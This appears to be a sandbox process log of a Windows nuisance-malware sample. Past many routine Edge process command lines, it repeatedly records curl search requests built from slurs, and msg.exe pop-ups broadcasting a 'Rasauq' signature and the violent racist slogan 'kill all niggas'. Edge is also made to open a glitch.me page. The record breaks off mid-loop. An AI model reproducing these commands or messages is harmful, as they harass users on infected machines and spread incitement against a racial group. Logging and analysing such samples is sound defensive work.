C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --field-trial-handle=10100,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=10068 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --field-trial-handle=5652,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=10252 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --field-trial-handle=10476,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=10436 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --field-trial-handle=10608,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=10656 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=10592,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=560 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=10568,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=10788 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=10784,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=10864 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --always-read-main-dll --field-trial-handle=10448,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=10952 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --field-trial-handle=9896,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=11144 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --always-read-main-dll --field-trial-handle=10996,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=11348 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --always-read-main-dll --field-trial-handle=5708,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --always-read-main-dll --field-trial-handle=11624,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=11156 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --always-read-main-dll --field-trial-handle=11908,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=11952 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --field-trial-handle=12116,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=12144 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --field-trial-handle=10860,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=12152 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --always-read-main-dll --field-trial-handle=12272,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=12148 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --always-read-main-dll --field-trial-handle=12312,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=12344 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --always-read-main-dll --field-trial-handle=12572,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=12560 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --always-read-main-dll --field-trial-handle=12524,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=12684 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --always-read-main-dll --field-trial-handle=12540,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=12868 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --always-read-main-dll --field-trial-handle=6208,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --always-read-main-dll --field-trial-handle=8240,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=13116 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --always-read-main-dll --field-trial-handle=5728,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=12984 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --always-read-main-dll --field-trial-handle=13304,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=13332 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --always-read-main-dll --field-trial-handle=13484,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=13520 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2248,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=9036 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=7972,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=3956,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=8468 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=13704,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:26⤵
-
-
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
